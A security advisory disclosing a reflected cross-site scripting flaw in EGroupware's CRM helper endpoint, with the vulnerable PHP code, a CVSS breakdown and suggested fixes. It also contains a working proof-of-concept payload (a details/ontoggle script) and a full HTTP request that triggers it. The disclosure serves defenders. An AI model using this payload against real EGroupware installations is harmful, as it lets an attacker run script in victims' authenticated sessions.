Skip to content

egroupware CRM from Reflected XSS

High
ralfbecker published GHSA-983h-jwwj-64cc Aug 6, 2026

Package

EGroupware/egroupware

Affected versions

<= 26.6.20260619
<23.1.20260710

Patched versions

>=26.7.20260710
>=23.1.20260710

Description

Summary

egroupware 26.6.20260619 reflects the authenticated from query parameter from /egroupware/addressbook/crm.php into an HTML error response without output encoding. The route is documented as a Basic-auth CTI helper. If no contact exists for the supplied value, the response body contains attacker-controlled HTML and a crafted details payload executes JavaScript in a browser.

Impact

An attacker who can cause an authenticated egroupware user to open a crafted CTI helper URL can execute JavaScript in that user's browser under the egroupware origin. The script can interact with same-origin pages and browser-visible application state available to the victim.

Root Cause

addressbook/crm.php is intended for CTI integrations and accepts Basic auth:

// basic auth
if (!empty($_SERVER['PHP_AUTH_USER']) || stripos($auth, 'Basic') === 0)
{
    $GLOBALS['egw_info']['flags'] += [
        'currentapp' => 'addressbook',
        'autocreate_session_callback' => 'EGroupware\\Api\\Header\\Authenticate::autocreate_session_callback',
    ];
}

For GET requests, it copies the raw from parameter:

$from = $_GET['from'];

If Api\Contacts::openCrmView($from) raises an exception because no matching contact exists, the catch block interpolates the raw value into a browser response:

catch (\Exception $e) {
    error_log("crm.php: No contact for from=$from found!");
    die("No contact for from=$from found!\n");
}

The response is served as text/html; charset=utf-8, and no context-specific HTML output encoding is applied before die().

POC

The following proof uses a visible test poc executed marker:

<details open ontoggle="window.__egw_crm_poc=77;document.body.insertAdjacentHTML('afterbegin','<div id=egw-crm-poc-marker style=position:fixed;top:0;left:0;right:0;z-index:99999;background:#b00020;color:white;font:18px Arial;padding:12px;text-align:center>test poc executed</div>')">test</details>

HTTP POC

This request is sufficient with a valid Basic-authenticated user:

GET /egroupware/addressbook/crm.php?from=%3Cdetails%20open%20ontoggle%3D%22window.__egw_crm_poc%3D77%3Bdocument.body.insertAdjacentHTML%28%27afterbegin%27%2C%27%3Cdiv%20id%3Degw-crm-poc-marker%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bright%3A0%3Bz-index%3A99999%3Bbackground%3A%23b00020%3Bcolor%3Awhite%3Bfont%3A18px%20Arial%3Bpadding%3A12px%3Btext-align%3Acenter%3Etest%20poc%20executed%3C%2Fdiv%3E%27%29%22%3Etest%3C%2Fdetails%3E HTTP/1.1
Host: target.example
Authorization: Basic <base64(username:password)>

The expected browser-visible result is an error page containing the injected marker.

Suggested Fix

  • Encode the from value before returning it in any browser-visible response, for example with htmlspecialchars($from, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').
  • Keep raw values in server-side logs only if log injection risks are handled separately.
  • Return a fixed error body for no-contact cases if the exact input does not need to be shown to the user.
  • Treat global input cleanup as defense-in-depth only; keep context-specific output encoding at every HTML, header, JavaScript, and attribute boundary.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-69126

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits